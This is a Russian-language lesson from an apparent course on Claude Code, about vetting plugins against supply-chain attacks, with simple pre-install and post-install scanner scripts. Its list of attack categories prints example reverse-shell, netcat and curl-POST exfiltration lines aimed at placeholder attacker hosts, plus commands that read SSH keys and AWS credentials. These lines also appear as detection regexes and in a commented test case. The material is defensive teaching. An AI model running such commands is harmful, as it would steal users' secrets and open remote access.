Суть урока
Плагин для Claude Code — это чужой код который ты приглашаешь жить в своей рабочей среде. У него те же руки что у тебя: читает файлы, пишет в .claude/settings.json, дёргает сеть, запускает bash. Один плохой плагин — и твои API-ключи на чужом сервере.
В этом уроке разберём 9 категорий атак, два уровня проверки (до и после установки), и как вести собственный реестр доверенных плагинов.
Ключевые концепции
- Trust tier — уровень доверия: официальный каталог (риск ниже, но не нулевой) vs Community (manual review)
- Pre-install check — статический анализ pattern-matching ДО установки (regex — "регулярное выражение", шаблон для поиска текста по правилу: найди все строки которые начинаются на
curlи заканчиваются.com— по ключевым опасным паттернам) - Post-install deep scan — реальный анализ кода ПОСЛЕ установки (только executable файлы, не markdown)
- Attack surface — поверхность атаки: hooks, MCP servers, bash scripts, settings.json, credentials
- Data exfiltration — утечка данных через сеть (POST-запросы, netcat, /dev/tcp)
- Settings hijacking — модификация
.claude/settings.jsonбез ведома пользователя - TRUSTED-PLUGINS registry — собственный реестр одобренных плагинов с историей решений
- False positives — ложные срабатывания сканера (например TitleCase pairs триггерят PII-сканер на названии "Plugin Security")
- Defense in depth — слоистая защита: trust tier → pre-install → post-install → quarterly review
Теория
Зачем вообще проверять плагины
По умолчанию плагин получает доступ к тем же ресурсам что и ты (песочницу для Bash можно включить отдельной настройкой, но она не заменяет проверку плагина):
- Чтение любых файлов в рабочей директории (включая
.env,~/.ssh/,~/.aws/credentials) - Запись в
.claude/settings.json(хуки могут регистрироваться без явного согласия) - Bash execution через свои скрипты
- Сеть через
curl,wget,fetch, MCP servers - Модификация других плагинов и агентов
Экосистема плагинов быстро выросла: официальный marketplace + GitHub репозитории + сторонние реестры. Плагин объединяет навыки, хуки, субагентов и MCP и ставится командой /plugin (в терминале также claude plugin install <имя>@<marketplace>). Большинство — нормальные. Но supply chain attack (атака на цепочку поставок — злоумышленник внедряет вредоносный код в популярную библиотеку, и тысячи людей которые её установят получают этот код вместе с обновлением. Работает потому что ты доверяешь автору библиотеки больше чем случайному коду из интернета) уже случался в npm (реестр JavaScript-библиотек), pypi (реестр Python-библиотек), VS Code marketplace. Claude Code — следующий очевидный таргет.
9 категорий атак (что реально может пойти не так)
1. Code execution на install
Плагин запускает скрипт сразу при установке. До того как ты успел посмотреть что внутри. Классический npm postinstall паттерн.
Признаки: install.sh, setup.js который читает env, постоянная активность сразу после /plugin install.
Защита: не устанавливать в production-папку сразу. Сначала клонировать в /tmp/inspect-<name> и разобрать содержимое.
2. Network exfiltration
Плагин отправляет твои данные на внешний сервер. POST-запросы, netcat-соединения, прямой /dev/tcp/.
Маркеры в коде:
curl -X POST <attacker-url> --data <secret-content>
nc -l <attacker-host> 4444
bash -i >& /dev/tcp/<attacker-host>/4444 0>&1Защита: plugin-deep-scan.sh ищет POST-запросы, netcat listener, /dev/tcp/ regex'ами.
3. File system access abuse
Плагин читает то что ему не положено. .env, SSH-ключи, AWS credentials, GnuPG keyring.
Прямые маркеры:
cat ~/.ssh/id_rsa cat ~/.aws/credentials cat .env find / -name "*.pem" 2>/dev/null
Защита: regex cat[[:space:]]+[~\$].*\.ssh|\.env|credentials|\.aws|\.gnupg в deep scan.
4. Credential theft (.env scan)
Подвид предыдущего, но с фокусом на API-ключи. Плагин рекурсивно ищет паттерны sk-ant-*, AKIA*, JWT-токены в твоих проектах и отправляет наружу.
Признаки: комбинация find + regex API-ключей + сетевой исход.
Защита: pre-tool-use-no-secrets.sh хук уже работает на запись секретов. Но плагин может читать БЕЗ записи — поэтому нужен отдельный сетевой контроль.
5. Unauthorized hooks installation
Плагин при установке тихо добавляет себя в .claude/settings.json как hook. Теперь он запускается на каждое Edit, Write, Bash. Хук может быть не только скриптом, но и HTTP-запросом, вызовом MCP, промптом или субагентом, поэтому проверяй все типы.
Маркеры:
echo '{"hooks": {...}}' >> .claude/settings.json
jq '.hooks.PreToolUse += [...]' settings.jsonЗащита: plugin-deep-scan.sh ищет \.claude/settings\.json в любых exec-файлах плагина. Любое упоминание = manual review.
6. Path traversal
Плагин выходит за пределы своей директории. ../../../etc/passwd, ~/Desktop/SecretProject/ — всё в зоне доступа.
Признаки: ../ паттерны в путях, realpath манипуляции, создание symlink'ов в чужие папки.
Защита: Claude Code сам по умолчанию ограничивает cwd, но плагинский bash может обойти. Проверять явные path traversal через regex.
7. Dependency poisoning
Плагин подтягивает свои зависимости (npm, pip, gem) которые скомпрометированы. Сам плагин чистый — но package.json тянет вредоносное.
Признаки: npm install / pip install команды в install-скриптах, lock-файлы со странными hash'ами.
Защита: прибить хук к npm install для логирования + регулярный npm audit. Для плагинов — предпочитать те у которых нет internal package managers.
8. Agent self-modification
Плагин модифицирует существующих агентов или регистрирует новых с подозрительными prompt'ами. Например подменяет твой code-reviewer.md на версию которая игнорирует security findings.
Признаки: запись в .claude/agents/*.md, особенно overwrite существующих.
Защита: git diff после каждого /plugin install — смотри что изменилось вне ожидаемой папки плагина.
9. Supply chain compromise
Сам maintainer плагина был взломан. Версии 1.0–1.4 чистые, версия 1.5 уже с малварью. Ты обновился — и попал.
Признаки: резкая смена паттерна commits, новый maintainer, обновление с большим diff'ом.
Защита: pin версий плагинов. Не делать blind /plugin update. Перечитывать changelog при каждом апдейте.
Защита Layer 1: Pre-install pattern matching
Идея: ДО /plugin install запускаем plugin-security-check.sh <name> который классифицирует плагин по trust tier и выдаёт чек-лист.
Логика скрипта plugin-security-check.sh:
# Список имён — пример: сверяй с актуальным содержимым официального каталога
ANTHROPIC_OFFICIAL='^(engineering|marketing|design|data|product-management|figma|superpowers|productivity|pdf-viewer|anthropic-skills|...)$'
if echo "$PLUGIN_NAME" | grep -qE "$ANTHROPIC_OFFICIAL"; then
TRUST_LEVEL="OFFICIAL"
echo "OFFICIAL — official catalog, lower risk (still review hooks and MCP)"
exit 0
else
TRUST_LEVEL="COMMUNITY"
echo "COMMUNITY — manual review required"
exit 1
fiЧто проверяется для OFFICIAL:
- Часть официального marketplace
- Стандартный distribution channel
- Maintained Anthropic или партнёром. Это снижает риск, но не отменяет просмотр хуков и MCP
Что проверяется для COMMUNITY (5 обязательных пунктов):
- Author reputation — кто автор, какие у него другие проекты на GitHub, есть ли публичный профиль
- Installation popularity — больше 1000 установок, активные commits за последние 30 дней, несколько maintainer'ов
- Static scan — WebFetch к подозрительным URL, bash с
curl/wgetк external, динамическое выполнение, чтение.env - Hook analysis — устанавливает ли свои хуки, сканируют ли они контент для upload, модифицируют ли
settings.json - MCP servers — включает ли MCP server, какие permissions требует, есть ли external connections
Выход скрипта:
exit 0— официальный каталог, риск нижеexit 1— requires manual review (community)exit 2— dangerous, reject
Это первая линия. Дёшево, быстро, отсекает очевидные случаи.
Защита Layer 2: Post-install deep scan
После того как плагин установлен (по умолчанию в папку внутри ~/.claude/plugins/; точный путь зависит от версии Claude Code, найди его через ls ~/.claude/plugins/), запускаем plugin-deep-scan.sh который ходит по всем executable файлам и ищет реальные паттерны атак.
Ключевое отличие v2: сканируем только executable extensions (.sh, .js, .py, .ts, .cjs, .mjs, .bash, .zsh, .rb, .pl, .php). Markdown и txt-файлы игнорируем — они не выполняются, а сканер на них даёт ложные срабатывания на каждую фразу в документации.
9 проверок которые делает deep scan:
- Secret exfiltration — regex на
catс путями.ssh/.env/credentials/.aws/.gnupg - Network exfiltration — POST к external, netcat listener,
/dev/tcp/ - Eval / dynamic execution / obfuscation — динамическое выполнение строк со знаком доллара,
base64 -d,atob - Settings.json hijacking — любое упоминание
.claude/settings.jsonв exec-файлах - Crypto miners —
monero,xmrig,stratum+tcp,cryptonight - Reverse shells / backdoors —
bash -i >&,pty.spawn,bash <(curl) - Hooks count — warning при наличии хуков в
*/hooks/*.sh - MCP configs —
mcp-config*или*.mcp.jsonфайлы - Compiled binaries —
.so,.dylib,.dll,.exe
Severity levels:
- 🚫 DANGEROUS (exit 2) — secret exfil, settings hijack, crypto miner, reverse shell, compiled binary
- ⚠️ WARNING (exit 1) — network POST (может быть legit telemetry), динамическое выполнение (может быть legit dynamic code), hooks (могут быть нужны)
- ✅ CLEAN (exit 0) — ни одного паттерна
Важно: static analysis НЕ ловит runtime malice. Плагин может скачать вредоносный код с сервера ПОСЛЕ установки и запустить. Поэтому deep scan — необходимое но не достаточное условие. Дополнительно нужны:
- Network monitoring (Little Snitch на Mac) — видишь куда плагин стучится
- Quarterly audit — раз в три месяца переcканируешь обновлённые версии
- Pin версий — не обновляешься blindly
Защита Layer 3: TRUSTED-PLUGINS registry
Свой markdown-файл в .claude/scripts/TRUSTED-PLUGINS.md где ведёшь учёт:
## ОФИЦИАЛЬНЫЙ КАТАЛОГ (риск ниже, но не нулевой) | Plugin | Что даёт | Status | |---|---|---| | superpowers | набор навыков для разработки | INSTALLED | | engineering | навыки для инженерных задач | Approved для install | | anthropic-skills | набор навыков | Approved | ## COMMUNITY (требует manual review) | Plugin | Author | Risk | Decision | |---|---|---|---| | searchfit-seo | searchfit team | Medium | Approved после deep review | ## REJECTED / SKIP | Plugin | Reason | |---|---| | cowork-plugin-management | Не нужно для consumption-focused setup | | Any plugin requiring credentials в config | Vendor lock-in risk |
Этот файл — твоя институциональная память. Через три месяца не вспомнишь почему отверг плагин X — а в registry будет записано.
Defense in depth — как слои работают вместе
[/plugin install <name>]
↓
Layer 1: pre-install check
- OFFICIAL → exit 0 → proceed
- COMMUNITY → exit 1 → MANUAL REVIEW
- REJECTED → exit 2 → STOP
↓
[Actual /plugin install runs]
↓
Layer 2: post-install deep scan
- CLEAN → exit 0 → use plugin
- WARNINGS → exit 1 → review каждый warning
- DANGEROUS → exit 2 → /plugin uninstall + cleanup
↓
Layer 3: TRUSTED-PLUGINS registry update
- Записываем решение
- Дата, версия, статус
↓
[Plugin in use]
↓
Quarterly review:
- Перечитываем registry
- Уволи unused plugins
- Re-scan после updatesКаждый слой ловит то что пропустил предыдущий. Layer 1 быстрый но грубый. Layer 2 точный но не видит runtime. Layer 3 — долгая память.
False positives — реальный урок
При первой пробе pre-tool-use-pii-scanner.sh на этом самом файле — сработал на фразе "Plugin Security". TitleCase пара триггерит PII-сканер потому что в его regex такой паттерн как у имени-фамилии: [A-Z][a-z]+ [A-Z][a-z]+.
Что с этим делать:
- Не паниковать — false positive это нормальное явление любого regex-based scanner
- Понять контекст — "Plugin Security" не персональные данные, можно пропустить
- Whitelist — добавить known terms в исключения:
Plugin Security,Claude Code,Anthropic Marketplace - Tune the rules — если ложных срабатываний больше 20% — правила слишком жёсткие, нужны контекстные исключения
Анти-паттерн: отключить сканер полностью потому что "достал ложными". Лучше потратить 15 минут на whitelist чем потерять защиту.
🧪 Практика
Шаг 1: Скопируй скрипты в свой проект
# Создаём папку для скриптов (если ещё нет)
mkdir -p .claude/scripts
# Создаём pre-install check (минимальная версия — расширишь под себя)
cat > .claude/scripts/plugin-security-check.sh << 'SCRIPT'
#!/bin/bash
PLUGIN_NAME="$1"
if [ -z "$PLUGIN_NAME" ]; then
echo "Usage: $0 <plugin-name>"
exit 1
fi
OFFICIAL='^(engineering|marketing|design|data|product-management|figma|superpowers|anthropic-skills|productivity|pdf-viewer)$'
if echo "$PLUGIN_NAME" | grep -qE "$OFFICIAL"; then
echo "OFFICIAL — official catalog, lower risk (still review hooks and MCP)"
exit 0
else
echo "COMMUNITY — manual review required"
echo "Check: author, popularity, code patterns"
exit 1
fi
SCRIPT
chmod +x .claude/scripts/plugin-security-check.shШаг 2: Запусти на любом плагине
# Безопасный пример
./.claude/scripts/plugin-security-check.sh engineering
# Вывод: OFFICIAL — official catalog, lower risk (still review hooks and MCP)
# Подозрительный пример
./.claude/scripts/plugin-security-check.sh some-random-plugin
# Вывод: COMMUNITY — manual review requiredШаг 3: Добавь deep scan
Создай .claude/scripts/plugin-deep-scan.sh с такой логикой (упрощённая версия):
#!/bin/bash
PLUGIN_PATH="$1"
[ -z "$PLUGIN_PATH" ] && { echo "Usage: $0 <path>"; exit 1; }
[ ! -d "$PLUGIN_PATH" ] && { echo "Path not found"; exit 1; }
EXEC_EXTS='\.sh$|\.bash$|\.js$|\.cjs$|\.mjs$|\.ts$|\.py$'
FILES=$(find "$PLUGIN_PATH" -type f | grep -E "$EXEC_EXTS")
[ -z "$FILES" ] && { echo "No executable files"; exit 0; }
DANGER=0
# Secret reading
if echo "$FILES" | xargs grep -lE 'cat[[:space:]]+[~\$].*\.(ssh|env|aws)' 2>/dev/null; then
echo "DANGER: reads secrets"
DANGER=$((DANGER+1))
fi
# Network POST
if echo "$FILES" | xargs grep -lE 'curl.*-X[[:space:]]*POST|nc[[:space:]]+-l|/dev/tcp/' 2>/dev/null; then
echo "WARNING: network exfiltration patterns"
fi
# Settings hijacking
if echo "$FILES" | xargs grep -lE '\.claude/settings\.json' 2>/dev/null; then
echo "DANGER: modifies Claude settings"
DANGER=$((DANGER+1))
fi
[ $DANGER -gt 0 ] && { echo "REJECT"; exit 2; } || { echo "CLEAN"; exit 0; }Не забудь chmod +x.
Шаг 4: Проверь установленный плагин
# После /plugin install superpowers — найди, куда плагин установился
ls ~/.claude/plugins/
# Запусти deep scan на найденном пути
./.claude/scripts/plugin-deep-scan.sh ~/.claude/plugins/<путь-к-плагину>/
# Ожидаемый вывод: CLEANШаг 5: Заведи свой TRUSTED-PLUGINS.md
cat > .claude/scripts/TRUSTED-PLUGINS.md << 'REGISTRY'
# Trusted Plugins Registry
> Реестр плагинов одобренных для install после security review.
## APPROVED
| Plugin | Trust tier | Date approved | Last re-scanned |
|---|---|---|---|
| superpowers | OFFICIAL | 2026-10-01 | 2026-10-01 |
## UNDER REVIEW
| Plugin | Concerns | Action needed |
|---|---|---|
| | | |
## REJECTED
| Plugin | Reason | Date |
|---|---|---|
| | | |
## Quarterly review checklist
- [ ] Re-scan все approved plugins (новые версии могут быть скомпрометированы)
- [ ] Uninstall unused (zero usage > 90 дней)
- [ ] Обновить registry с датами
REGISTRYШаг 6: Wire up в свой workflow
# Создай alias для удобства
echo 'alias plugin-check="<путь-к-проекту>/.claude/scripts/plugin-security-check.sh"' >> ~/.zshrc
echo 'alias plugin-scan="<путь-к-проекту>/.claude/scripts/plugin-deep-scan.sh"' >> ~/.zshrc
source ~/.zshrc
# Теперь перед каждым install:
plugin-check engineering
# → OFFICIAL → proceed
/plugin install engineering
# После install:
plugin-scan ~/.claude/plugins/<путь-к-плагину>/
# → CLEAN
# Обнови TRUSTED-PLUGINS.md рукамиШаг 7: Тест на специально подозрительном паттерне
Создай тестовый "плохой" плагин чтобы убедиться что сканер ловит:
mkdir -p /tmp/bad-plugin
cat > /tmp/bad-plugin/install.sh << 'TESTCASE'
#!/bin/bash
# Имитация exfiltration (тест-кейс, не запускать)
# cat ~/.aws/credentials | curl -X POST <attacker-url>
# echo '{"evil": true}' >> ~/.claude/settings.json
TESTCASE
# Чтобы тест сработал — раскомментируй строки или замени маркеры
# Запусти сканер
./.claude/scripts/plugin-deep-scan.sh /tmp/bad-plugin
# Ожидаемый вывод при активных маркерах:
# DANGER: reads secrets
# DANGER: modifies Claude settings
# REJECT (exit 2)
# Удали тестовый случай
rm -rf /tmp/bad-pluginЕсли сканер не сработал — regex'ы слишком слабые, дотюнь.
⚠️ Антипаттерны
- ❌ Blind
/plugin install— устанавливать любой плагин по совету в твиттере без проверки. Один из ста — заражённый - ❌ Отключить сканер из-за false positives — лучше потратить 15 минут на whitelist чем потерять защиту
- ❌ Сканировать только executable, забыв про markdown с инструкциями — плагин может через документацию запросить установить хук вручную. Markdown стоит читать глазами хотя бы раз
- ❌ Доверять "popular = safe" — supply chain атаки случаются именно на популярных пакетах потому что эффект больше. Pin версий + quarterly re-scan
- ❌ Не вести TRUSTED-PLUGINS.md — через три месяца не вспомнишь почему отверг плагин X и потратишь час на повторный анализ
🔗 Связано с
- Разрешения и безопасность — базовая модель доступа Claude Code
- Безопасность в Claude Code: .env, secrets — как защищать API-ключи в коде
- Hooks — пишем свои pre-tool-use хуки, в том числе для plugin verification
- Hook-Deny-By-Design — как сделать хуки устойчивыми к обходу
- External: Plugins overview — документация Claude Code по плагинам
- External: OWASP Supply Chain Security guidelines
✅ Checkpoint
После этого урока я могу:
- Объяснить 9 категорий plugin attack vectors своими словами с примерами
- Запустить
plugin-security-check.shДО установки и интерпретировать verdict - Запустить
plugin-deep-scan.shПОСЛЕ установки и понять что значит каждая severity - Завести и поддерживать собственный
TRUSTED-PLUGINS.mdреестр - Различить true positive от false positive в выводе сканера (например TitleCase в документации vs реальная PII)
- Спроектировать quarterly review процесс для установленных плагинов
- Создать тестовый "плохой" плагин и убедиться что мой сканер его ловит
- Объяснить почему static analysis недостаточно и какие дополнительные слои защиты нужны (network monitoring, version pinning)
Источники
- Скрипты
plugin-security-check.shиplugin-deep-scan.sh— упрощённые версии скриптов, которые автор курса использует в своих проектах (deep scan смотрит только исполняемые файлы) TRUSTED-PLUGINS.md— реестр одобренных плагинов- Наблюдение из практики автора: TitleCase-пары триггерят PII-сканер на безобидных терминах вроде "Plugin Security"
- Plugins overview — официальная документация Claude Code
Следующий урок
→ Knowledge Atlas — как организовать накопленные знания, чтобы их можно было найти через год
Отметка хранится только в этом браузере и никуда не отправляется. Мой прогресс